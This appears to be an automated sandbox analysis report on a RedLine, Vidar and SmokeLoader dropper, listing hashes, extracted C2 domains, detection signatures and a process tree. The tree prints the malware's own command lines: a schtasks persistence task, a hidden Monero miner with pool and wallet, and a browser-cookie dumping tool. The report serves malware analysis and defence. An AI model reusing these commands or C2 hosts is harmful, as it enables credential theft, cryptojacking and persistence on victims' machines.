redline | cfdcbcca4f75f287d6389cda895571530ddb9a2bbdf54cce52c1c65e969ac0a3

Analysis

max time kernel
19s
max time network
162s
platform
windows10_x64
resource
win10v20210410
submitted
13/08/2021, 07:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CCEFF411FEAB78A02A22744E2EAE9AB8.exe
Size 3.9MB
Sample210813-x2rtazcdkj
SHA256 cfdcbcca4f75f287d6389cda895571530ddb9a2bbdf54cce52c1c65e969ac0a3
MD5 cceff411feab78a02a22744e2eae9ab8
SHA1 7b707ac1bfcc7bdd5439c606af91a5dc5a499493
SHA512 0eb9732143fbd7816951acf72bcbf10218a58a4780958b9a57e2d6960781296f73e8f1c0f0262adbb95d855a92e136d87e3e01bea8497d9a8a3e5afa41b3115c
MD5 SHA1 SHA512

Score

10^/10

redline smokeloader vidar 706 7new 916 aspackv2 backdoor evasion infostealer persistence spyware stealer suricata trojan

Malware Config

Extracted

Family

redline

Botnet

7new

sytareliar.xyz:80
yabelesatg.xyz:80
ceneimarck.xyz:80

Extracted

Family

vidar

Version

Botnet

https://lenak513.tumblr.com/

Attributes

profile_id
706

Extracted

Family

vidar

Version

Botnet

https://lenak513.tumblr.com/

Attributes

profile_id
916

Extracted

Family

smokeloader

Version

2020

http://aucmoney.com/upload/
http://thegymmum.com/upload/
http://atvcampingtrips.com/upload/
http://kuapakualaman.com/upload/
http://renatazarazua.com/upload/
http://nasufmutlu.com/upload/

rc4.i32

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4896	3516	rundll32.exe	20
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6732	3516	rundll32.exe	20

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 3 IoCs

resource	yara_rule
behavioral2/memory/4692-267-0x0000000007AA0000-0x0000000007AD2000-memory.dmp	family_redline
behavioral2/memory/5760-442-0x000000000041905E-mapping.dmp	family_redline
behavioral2/memory/5704-439-0x0000000000418E52-mapping.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)
suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)
suricata
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata

Vidar Stealer 4 IoCs

stealer

resource	yara_rule
behavioral2/memory/2716-293-0x0000000005000000-0x000000000509D000-memory.dmp	family_vidar
behavioral2/memory/2716-305-0x0000000000400000-0x0000000003346000-memory.dmp	family_vidar
behavioral2/memory/980-376-0x0000000000400000-0x0000000002CBE000-memory.dmp	family_vidar
behavioral2/memory/980-422-0x0000000004900000-0x000000000499D000-memory.dmp	family_vidar

ASPack v2.12-2.42 7 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000100000001ab96-123.dat	aspack_v212_v242
behavioral2/files/0x000100000001ab97-122.dat	aspack_v212_v242
behavioral2/files/0x000100000001ab96-126.dat	aspack_v212_v242
behavioral2/files/0x000100000001ab96-125.dat	aspack_v212_v242
behavioral2/files/0x000100000001ab99-128.dat	aspack_v212_v242
behavioral2/files/0x000100000001ab99-130.dat	aspack_v212_v242
behavioral2/files/0x000100000001ab97-124.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 24 IoCs

pid	Process
2504	setup_installer.exe
2912	setup_install.exe
1212	6f1aa71747b4a291.exe
1220	caa4baaf544.exe
404	c0f099be1ace2.exe
3932	09b9624c6ac9.exe
2388	24ebc9ce784c63.exe
2716	621c13b77.exe
3820	3d1f9c2a6.exe
208	d55cc0d45c3a05.exe
3944	e4f0738cc5646a38.exe
4168	1cr.exe
4184	3829352.exe
4376	chrome2.exe
4456	setup.exe
4524	t8xTx3eBrnzBCEX_lmZykhdE.exe
4596	winnetdriv.exe
4612	3343149.exe
4648	3928053.exe
4692	3901638.exe
4776	2479939.exe
4916	Chrome 5.exe
5064	3002.exe
2604	dcc7975c8a99514da06323f0994cd79b.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	d55cc0d45c3a05.exe

Loads dropped DLL 6 IoCs

pid	Process
2912	setup_install.exe
2912	setup_install.exe
2912	setup_install.exe
2912	setup_install.exe
2912	setup_install.exe
2912	setup_install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	e4f0738cc5646a38.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	e4f0738cc5646a38.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	3928053.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
175	ipinfo.io
177	ipinfo.io
11	ipinfo.io
12	ipinfo.io
110	ip-api.com

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\winnetdriv.exe	setup.exe
File opened for modification	C:\Windows\winnetdriv.exe	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 31 IoCs

pid	pid_target	Process	procid_target
5372	2396	WerFault.exe
5420	2700	WerFault.exe	115
5876	2700	WerFault.exe	115
5952	980	WerFault.exe	126
5176	2700	WerFault.exe	115
5456	980	WerFault.exe	126
2396	980	WerFault.exe	126
5840	2700	WerFault.exe	115
6080	980	WerFault.exe	126
4464	2700	WerFault.exe	115
4548	980	WerFault.exe	126
4804	980	WerFault.exe	126
4260	2700	WerFault.exe	115
6088	980	WerFault.exe	126
5892	5680	WerFault.exe	166
4924	5680	WerFault.exe	166
5832	980	WerFault.exe	126
4284	5680	WerFault.exe	166
5084	980	WerFault.exe	126
4312	2700	WerFault.exe	115
4924	980	WerFault.exe	126
3120	5680	WerFault.exe	166
5872	5680	WerFault.exe	166
3396	5680	WerFault.exe	166
3464	5680	WerFault.exe	166
6276	5680	WerFault.exe	166
6344	980	WerFault.exe	126
6472	980	WerFault.exe	126
6792	980	WerFault.exe	126
6956	4144	WerFault.exe	112
7156	4524	WerFault.exe	128

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
5192	schtasks.exe
7160	schtasks.exe
6180	schtasks.exe
4268	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
6404	timeout.exe
6516	timeout.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
6640	taskkill.exe
6704	taskkill.exe

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	182	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	176	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe
208	d55cc0d45c3a05.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1220	caa4baaf544.exe
Token: SeDebugPrivilege	1212	6f1aa71747b4a291.exe
Token: SeDebugPrivilege	4612	3343149.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2388 wrote to memory of 2504	2388	CCEFF411FEAB78A02A22744E2EAE9AB8.exe	76
PID 2388 wrote to memory of 2504	2388	CCEFF411FEAB78A02A22744E2EAE9AB8.exe	76
PID 2388 wrote to memory of 2504	2388	CCEFF411FEAB78A02A22744E2EAE9AB8.exe	76
PID 2504 wrote to memory of 2912	2504	setup_installer.exe	77
PID 2504 wrote to memory of 2912	2504	setup_installer.exe	77
PID 2504 wrote to memory of 2912	2504	setup_installer.exe	77
PID 2912 wrote to memory of 3424	2912	setup_install.exe	80
PID 2912 wrote to memory of 3424	2912	setup_install.exe	80
PID 2912 wrote to memory of 3424	2912	setup_install.exe	80
PID 2912 wrote to memory of 1504	2912	setup_install.exe	84
PID 2912 wrote to memory of 1504	2912	setup_install.exe	84
PID 2912 wrote to memory of 1504	2912	setup_install.exe	84
PID 2912 wrote to memory of 2120	2912	setup_install.exe	81
PID 2912 wrote to memory of 2120	2912	setup_install.exe	81
PID 2912 wrote to memory of 2120	2912	setup_install.exe	81
PID 2912 wrote to memory of 3748	2912	setup_install.exe	82
PID 2912 wrote to memory of 3748	2912	setup_install.exe	82
PID 2912 wrote to memory of 3748	2912	setup_install.exe	82
PID 2912 wrote to memory of 2152	2912	setup_install.exe	83
PID 2912 wrote to memory of 2152	2912	setup_install.exe	83
PID 2912 wrote to memory of 2152	2912	setup_install.exe	83
PID 2912 wrote to memory of 776	2912	setup_install.exe	85
PID 2912 wrote to memory of 776	2912	setup_install.exe	85
PID 2912 wrote to memory of 776	2912	setup_install.exe	85
PID 2912 wrote to memory of 1292	2912	setup_install.exe	86
PID 2912 wrote to memory of 1292	2912	setup_install.exe	86
PID 2912 wrote to memory of 1292	2912	setup_install.exe	86
PID 2912 wrote to memory of 3908	2912	setup_install.exe	101
PID 2912 wrote to memory of 3908	2912	setup_install.exe	101
PID 2912 wrote to memory of 3908	2912	setup_install.exe	101
PID 2912 wrote to memory of 752	2912	setup_install.exe	87
PID 2912 wrote to memory of 752	2912	setup_install.exe	87
PID 2912 wrote to memory of 752	2912	setup_install.exe	87
PID 3424 wrote to memory of 1212	3424	cmd.exe	88
PID 3424 wrote to memory of 1212	3424	cmd.exe	88
PID 2120 wrote to memory of 1220	2120	cmd.exe	99
PID 2120 wrote to memory of 1220	2120	cmd.exe	99
PID 1504 wrote to memory of 404	1504	cmd.exe	100
PID 1504 wrote to memory of 404	1504	cmd.exe	100
PID 1504 wrote to memory of 404	1504	cmd.exe	100
PID 752 wrote to memory of 3932	752	cmd.exe	89
PID 752 wrote to memory of 3932	752	cmd.exe	89
PID 752 wrote to memory of 3932	752	cmd.exe	89
PID 3748 wrote to memory of 2388	3748	cmd.exe	90
PID 3748 wrote to memory of 2388	3748	cmd.exe	90
PID 776 wrote to memory of 2716	776	cmd.exe	92
PID 776 wrote to memory of 2716	776	cmd.exe	92
PID 776 wrote to memory of 2716	776	cmd.exe	92
PID 1292 wrote to memory of 3820	1292	cmd.exe	94
PID 1292 wrote to memory of 3820	1292	cmd.exe	94
PID 1292 wrote to memory of 3820	1292	cmd.exe	94
PID 2152 wrote to memory of 208	2152	cmd.exe	93
PID 2152 wrote to memory of 208	2152	cmd.exe	93
PID 2152 wrote to memory of 208	2152	cmd.exe	93
PID 3908 wrote to memory of 3944	3908	cmd.exe	91
PID 3908 wrote to memory of 3944	3908	cmd.exe	91
PID 3944 wrote to memory of 4168	3944	e4f0738cc5646a38.exe	95
PID 3944 wrote to memory of 4168	3944	e4f0738cc5646a38.exe	95
PID 3944 wrote to memory of 4168	3944	e4f0738cc5646a38.exe	95
PID 3932 wrote to memory of 4184	3932	09b9624c6ac9.exe	182
PID 3932 wrote to memory of 4184	3932	09b9624c6ac9.exe	182
PID 3932 wrote to memory of 4184	3932	09b9624c6ac9.exe	182
PID 404 wrote to memory of 4376	404	c0f099be1ace2.exe	98
PID 404 wrote to memory of 4376	404	c0f099be1ace2.exe	98

C:\Users\Admin\AppData\Local\Temp\CCEFF411FEAB78A02A22744E2EAE9AB8.exe
"C:\Users\Admin\AppData\Local\Temp\CCEFF411FEAB78A02A22744E2EAE9AB8.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2912
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 6f1aa71747b4a291.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3424
    - - C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\6f1aa71747b4a291.exe
        
        6f1aa71747b4a291.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1212
      - C:\Users\Admin\AppData\Roaming\3901638.exe
        
        "C:\Users\Admin\AppData\Roaming\3901638.exe"
        6⤵
        Executes dropped EXE
        
        PID:4692
      - C:\Users\Admin\AppData\Roaming\2479939.exe
        
        "C:\Users\Admin\AppData\Roaming\2479939.exe"
        6⤵
        Executes dropped EXE
        
        PID:4776
      - C:\Users\Admin\AppData\Roaming\3928053.exe
        
        "C:\Users\Admin\AppData\Roaming\3928053.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:4648
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        
        PID:6036
      - C:\Users\Admin\AppData\Roaming\3343149.exe
        
        "C:\Users\Admin\AppData\Roaming\3343149.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4612
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c caa4baaf544.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2120
    - - C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\caa4baaf544.exe
        
        caa4baaf544.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1220
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        
        PID:4524
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        
        PID:4916
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:6028
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:5192
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        
        PID:5652
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:908
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:6180
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:6380
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        Executes dropped EXE
        
        PID:5064
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        
        PID:2444
        
        C:\Users\Admin\AppData\Local\Temp\is-0ARBC.tmp\GameBoxWin32.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-0ARBC.tmp\GameBoxWin32.tmp" /SL5="$20378,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin32.exe"
        9⤵
        
        PID:6020
        
        C:\Users\Admin\AppData\Local\Temp\dcc7975c8a99514da06323f0994cd79b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dcc7975c8a99514da06323f0994cd79b.exe"
        7⤵
        Executes dropped EXE
        
        PID:2604
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        
        PID:5680
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 352
        9⤵
        Program crash
        
        PID:5892
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 320
        9⤵
        Program crash
        
        PID:4924
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 408
        9⤵
        Program crash
        
        PID:4284
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 624
        9⤵
        Program crash
        
        PID:3120
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 632
        9⤵
        Program crash
        
        PID:5872
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 668
        9⤵
        Program crash
        
        PID:3396
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 352
        9⤵
        Program crash
        
        PID:3464
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 680
        9⤵
        Program crash
        
        PID:6276
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        9⤵
        
        PID:2152
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        
        PID:4144
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:1300
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:6100
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:6452
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        8⤵
        
        PID:6552
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4144 -s 1492
        8⤵
        Program crash
        
        PID:6956
        
        C:\Users\Admin\AppData\Local\Temp\NGlorySetp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\NGlorySetp.exe"
        7⤵
        
        PID:1856
        
        C:\Users\Admin\AppData\Roaming\7371644.exe
        
        "C:\Users\Admin\AppData\Roaming\7371644.exe"
        8⤵
        
        PID:5444
        
        C:\Users\Admin\AppData\Roaming\7676365.exe
        
        "C:\Users\Admin\AppData\Roaming\7676365.exe"
        8⤵
        
        PID:3696
        
        C:\Users\Admin\AppData\Roaming\4222272.exe
        
        "C:\Users\Admin\AppData\Roaming\4222272.exe"
        8⤵
        
        PID:5840
        
        C:\Users\Admin\AppData\Roaming\6926518.exe
        
        "C:\Users\Admin\AppData\Roaming\6926518.exe"
        8⤵
        
        PID:4288
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        
        PID:1216
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        
        PID:2700
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2700 -s 800
        8⤵
        Program crash
        
        PID:5420
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2700 -s 848
        8⤵
        Program crash
        
        PID:5876
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2700 -s 884
        8⤵
        Program crash
        
        PID:5176
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2700 -s 960
        8⤵
        Program crash
        
        PID:5840
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2700 -s 936
        8⤵
        Program crash
        
        PID:4464
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2700 -s 1032
        8⤵
        Program crash
        
        PID:4260
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2700 -s 1036
        8⤵
        Program crash
        
        PID:4312
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 24ebc9ce784c63.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3748
    - - C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\24ebc9ce784c63.exe
        
        24ebc9ce784c63.exe
        5⤵
        Executes dropped EXE
        
        PID:2388
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c d55cc0d45c3a05.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2152
    - - C:\Users\Admin\AppData\Local\Temp\7zS8C9B7474\d55cc0d45c3a05.exe
        
        d55cc0d45c3a05.exe
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious behavior: EnumeratesProcesses
        
        PID:208
      - C:\Users\Admin\Documents\DH70A1ww2uK0l5OUHhsUZucc.exe
        
        "C:\Users\Admin\Documents\DH70A1ww2uK0l5OUHhsUZucc.exe"
        6⤵
        
        PID:4712
        
        C:\Users\Admin\AppData\Roaming\2329031.exe
        
        "C:\Users\Admin\AppData\Roaming\2329031.exe"
        7⤵
        
        PID:5252
        
        C:\Users\Admin\AppData\Roaming\3524004.exe
        
        "C:\Users\Admin\AppData\Roaming\3524004.exe"
        7⤵
        
        PID:5712
      - C:\Users\Admin\Documents\7rfmUpNUwPTDWnIdfa6wrpxe.exe
        
        "C:\Users\Admin\Documents\7rfmUpNUwPTDWnIdfa6wrpxe.exe"
        6⤵
        
        PID:4656
      - C:\Users\Admin\Documents\y7QLl8JWCFGbkRDi00a0UQLk.exe
        
        "C:\Users\Admin\Documents\y7QLl8JWCFGbkRDi00a0UQLk.exe"
        6⤵
        
        PID:4928
        
        C:\Users\Admin\Documents\y7QLl8JWCFGbkRDi00a0UQLk.exe
        
        C:\Users\Admin\Documents\y7QLl8JWCFGbkRDi00a0UQLk.exe
        7⤵
        
        PID:5500
        
        C:\Users\Admin\Documents\y7QLl8JWCFGbkRDi00a0UQLk.exe
        
        C:\Users\Admin\Documents\y7QLl8JWCFGbkRDi00a0UQLk.exe
        7⤵
        
        PID:5704
      - C:\Users\Admin\Documents\gZKLdJ9ICw5SUyu85x_qsHqB.exe
        
        "C:\Users\Admin\Documents\gZKLdJ9ICw5SUyu85x_qsHqB.exe"
        6⤵
        
        PID:3776
        
        C:\Users\Admin\AppData\Roaming\3829352.exe
        
        "C:\Users\Admin\AppData\Roaming\3829352.exe"
        7⤵
        Executes dropped EXE
        
        PID:4184
        
        C:\Users\Admin\AppData\Roaming\5338624.exe
        
        "C:\Users\Admin\AppData\Roaming\5338624.exe"
        7⤵
        
        PID:2148
      - C:\Users\Admin\Documents\bA_WNx0M6cFc5ZtXm4QVQy0o.exe
        
        "C:\Users\Admin\Documents\bA_WNx0M6cFc5ZtXm4QVQy0o.exe"
        6⤵
        
        PID:980
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 760
        7⤵
        Program crash
        
        PID:5952
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 812
        7⤵
        Program crash
        
        PID:5456
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 792
        7⤵
        Program crash
        
        PID:2396
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 824
        7⤵
        Program crash
        
        PID:6080
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 956
        7⤵
        Program crash
        
        PID:4548
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 984
        7⤵
        Program crash
        
        PID:4804
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 980 -s 1048
        7⤵
        Program crash
        
        PID:6088
        
        C:\Windows\SysWOW64\WerFault.exe
        
